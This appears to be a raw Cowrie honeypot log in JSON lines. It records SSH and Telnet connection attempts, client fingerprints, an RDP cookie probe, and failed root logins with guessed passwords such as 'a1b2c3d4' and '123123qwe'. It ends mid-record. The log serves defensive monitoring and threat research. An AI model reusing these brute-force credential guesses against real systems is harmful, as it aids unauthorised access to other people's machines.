{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":57494,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e6679db54cd","protocol":"ssh","message":"New connection: 103.98.149.87:57494 (159.203.135.109:22) [session: 3e6679db54cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:02.077096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:02.088717Z","src_ip":"103.98.149.87","session":"3e6679db54cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:02.344886Z","src_ip":"103.98.149.87","session":"3e6679db54cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1b2c3d4","message":"login attempt [root/a1b2c3d4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:03.139395Z","src_ip":"103.98.149.87","session":"3e6679db54cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.84706163406372,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:03.783702Z","src_ip":"192.119.13.58","session":"1033bd6e7bad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.03217577934265,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:04.510131Z","src_ip":"192.119.13.58","session":"21fe0662dcd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:05.274133Z","src_ip":"103.98.149.87","session":"3e6679db54cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53210,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bfe7843473a","protocol":"telnet","message":"New connection: 192.119.13.58:53210 (10.17.0.5:23) [session: 3bfe7843473a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:08.796906Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44410,"dst_ip":"10.17.0.5","dst_port":23,"session":"864afc660b13","protocol":"telnet","message":"New connection: 192.119.13.58:44410 (10.17.0.5:23) [session: 864afc660b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:14.227322Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48728,"dst_ip":"10.17.0.5","dst_port":23,"session":"9138be8ba637","protocol":"telnet","message":"New connection: 192.119.13.58:48728 (10.17.0.5:23) [session: 9138be8ba637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:14.334108Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50440,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb90d419be23","protocol":"telnet","message":"New connection: 192.119.13.58:50440 (10.17.0.5:23) [session: cb90d419be23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:14.727076Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.206","src_port":57938,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dc3d0733755","protocol":"ssh","message":"New connection: 62.133.63.206:57938 (159.203.135.109:22) [session: 4dc3d0733755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:14.863875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:14.871727Z","src_ip":"62.133.63.206","session":"4dc3d0733755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:15.002267Z","src_ip":"62.133.63.206","session":"4dc3d0733755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andre","message":"login attempt [root/andre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:15.390507Z","src_ip":"62.133.63.206","session":"4dc3d0733755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:16.521457Z","src_ip":"62.133.63.206","session":"4dc3d0733755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.17544150352478,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:23.230621Z","src_ip":"192.119.13.58","session":"616e27e19ef8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.204450368881226,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:23.557579Z","src_ip":"192.119.13.58","session":"4526211ba02a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.961906671524048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:25.167578Z","src_ip":"192.119.13.58","session":"7d3a0dbd353e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36760,"dst_ip":"10.17.0.5","dst_port":23,"session":"de0c7e3c03ef","protocol":"telnet","message":"New connection: 192.119.13.58:36760 (10.17.0.5:23) [session: de0c7e3c03ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:26.667136Z"}
{"eventid":"cowrie.session.closed","duration":2.2784006595611572,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:28.945407Z","src_ip":"192.119.13.58","session":"de0c7e3c03ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.85879945755005,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:30.809466Z","src_ip":"192.119.13.58","session":"1fe19829fc3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56990,"dst_ip":"10.17.0.5","dst_port":23,"session":"698f5b694a2e","protocol":"telnet","message":"New connection: 192.119.13.58:56990 (10.17.0.5:23) [session: 698f5b694a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:31.960535Z"}
{"eventid":"cowrie.session.closed","duration":37.263864040374756,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:32.734960Z","src_ip":"192.119.13.58","session":"672f73989b58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.32093381881714,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:34.086149Z","src_ip":"192.119.13.58","session":"f9f669e7d556","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57188,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd8196d2e548","protocol":"telnet","message":"New connection: 192.119.13.58:57188 (10.17.0.5:23) [session: bd8196d2e548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:39.535347Z"}
{"eventid":"cowrie.session.closed","duration":31.44170045852661,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:40.238506Z","src_ip":"192.119.13.58","session":"3bfe7843473a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52710,"dst_ip":"10.17.0.5","dst_port":23,"session":"29bc51fbc2bb","protocol":"telnet","message":"New connection: 192.119.13.58:52710 (10.17.0.5:23) [session: 29bc51fbc2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:45.906659Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54914,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc8ff7142024","protocol":"telnet","message":"New connection: 192.119.13.58:54914 (10.17.0.5:23) [session: cc8ff7142024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:46.540561Z"}
{"eventid":"cowrie.session.closed","duration":40.28799533843994,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:55.014950Z","src_ip":"192.119.13.58","session":"cb90d419be23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47642,"dst_ip":"10.17.0.5","dst_port":23,"session":"0822bf7f491e","protocol":"telnet","message":"New connection: 192.119.13.58:47642 (10.17.0.5:23) [session: 0822bf7f491e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:47:59.989358Z"}
{"eventid":"cowrie.session.closed","duration":46.37588620185852,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:00.709890Z","src_ip":"192.119.13.58","session":"9138be8ba637","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34156,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b3340518bfc","protocol":"telnet","message":"New connection: 192.119.13.58:34156 (10.17.0.5:23) [session: 7b3340518bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:03.684725Z"}
{"eventid":"cowrie.session.closed","duration":49.69247007369995,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:03.919688Z","src_ip":"192.119.13.58","session":"864afc660b13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39220,"dst_ip":"10.17.0.5","dst_port":23,"session":"64d1965cf6b6","protocol":"telnet","message":"New connection: 192.119.13.58:39220 (10.17.0.5:23) [session: 64d1965cf6b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:04.938529Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40900,"dst_ip":"10.17.0.5","dst_port":23,"session":"707db0f71e72","protocol":"telnet","message":"New connection: 192.119.13.58:40900 (10.17.0.5:23) [session: 707db0f71e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:05.357185Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58056,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b4508b19649","protocol":"telnet","message":"New connection: 192.119.13.58:58056 (10.17.0.5:23) [session: 0b4508b19649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:09.275802Z"}
{"eventid":"cowrie.session.closed","duration":38.7625675201416,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:10.722927Z","src_ip":"192.119.13.58","session":"698f5b694a2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.54143476486206,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:22.081888Z","src_ip":"192.119.13.58","session":"cc8ff7142024","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.66862416267395,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:22.203881Z","src_ip":"192.119.13.58","session":"bd8196d2e548","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38312,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e7c355fffc9","protocol":"telnet","message":"New connection: 192.119.13.58:38312 (10.17.0.5:23) [session: 5e7c355fffc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:32.117979Z"}
{"eventid":"cowrie.session.closed","duration":51.47243022918701,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:37.378954Z","src_ip":"192.119.13.58","session":"29bc51fbc2bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.444575786590576,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:39.433822Z","src_ip":"192.119.13.58","session":"0822bf7f491e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.994715929031372,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:40.112558Z","src_ip":"192.119.13.58","session":"5e7c355fffc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51224,"dst_ip":"10.17.0.5","dst_port":23,"session":"10f9c0a5f64f","protocol":"telnet","message":"New connection: 192.119.13.58:51224 (10.17.0.5:23) [session: 10f9c0a5f64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:42.644479Z"}
{"eventid":"cowrie.session.closed","duration":38.062079668045044,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:43.000245Z","src_ip":"192.119.13.58","session":"64d1965cf6b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33188,"dst_ip":"10.17.0.5","dst_port":23,"session":"583eaa4e75ad","protocol":"telnet","message":"New connection: 192.119.13.58:33188 (10.17.0.5:23) [session: 583eaa4e75ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:45.181552Z"}
{"eventid":"cowrie.session.closed","duration":41.88691973686218,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:47.243946Z","src_ip":"192.119.13.58","session":"707db0f71e72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59175,"dst_ip":"159.203.135.109","dst_port":22,"session":"e33906a0e9e5","protocol":"ssh","message":"New connection: 167.172.81.52:59175 (159.203.135.109:22) [session: e33906a0e9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:53.945128Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:54.063646Z","src_ip":"167.172.81.52","session":"e33906a0e9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:54.068526Z","src_ip":"167.172.81.52","session":"e33906a0e9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.90555429458618,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:54.590142Z","src_ip":"192.119.13.58","session":"7b3340518bfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.89892888069153,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:48:59.174602Z","src_ip":"192.119.13.58","session":"0b4508b19649","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36728,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bc2125989e2","protocol":"telnet","message":"New connection: 192.119.13.58:36728 (10.17.0.5:23) [session: 5bc2125989e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:01.107500Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46030,"dst_ip":"10.17.0.5","dst_port":23,"session":"f291316fcc22","protocol":"telnet","message":"New connection: 192.119.13.58:46030 (10.17.0.5:23) [session: f291316fcc22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:02.447796Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42958,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f43112e1ce4","protocol":"telnet","message":"New connection: 192.119.13.58:42958 (10.17.0.5:23) [session: 5f43112e1ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:08.541433Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40120,"dst_ip":"10.17.0.5","dst_port":23,"session":"08065bdfcc1f","protocol":"telnet","message":"New connection: 192.119.13.58:40120 (10.17.0.5:23) [session: 08065bdfcc1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:14.865879Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":35362,"dst_ip":"10.17.0.5","dst_port":22,"session":"a14b030719f9","protocol":"ssh","message":"New connection: 109.237.96.109:35362 (10.17.0.5:22) [session: a14b030719f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:19.397673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:19.402522Z","src_ip":"109.237.96.109","session":"a14b030719f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:19.492399Z","src_ip":"109.237.96.109","session":"a14b030719f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123qwe","message":"login attempt [root/123123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:19.770692Z","src_ip":"109.237.96.109","session":"a14b030719f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:20.865872Z","src_ip":"109.237.96.109","session":"a14b030719f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.04723501205444,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:23.228657Z","src_ip":"192.119.13.58","session":"583eaa4e75ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46652,"dst_ip":"10.17.0.5","dst_port":22,"session":"db384f9fba14","protocol":"ssh","message":"New connection: 80.94.92.184:46652 (10.17.0.5:22) [session: db384f9fba14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:23.467621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:23.490654Z","src_ip":"80.94.92.184","session":"db384f9fba14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cer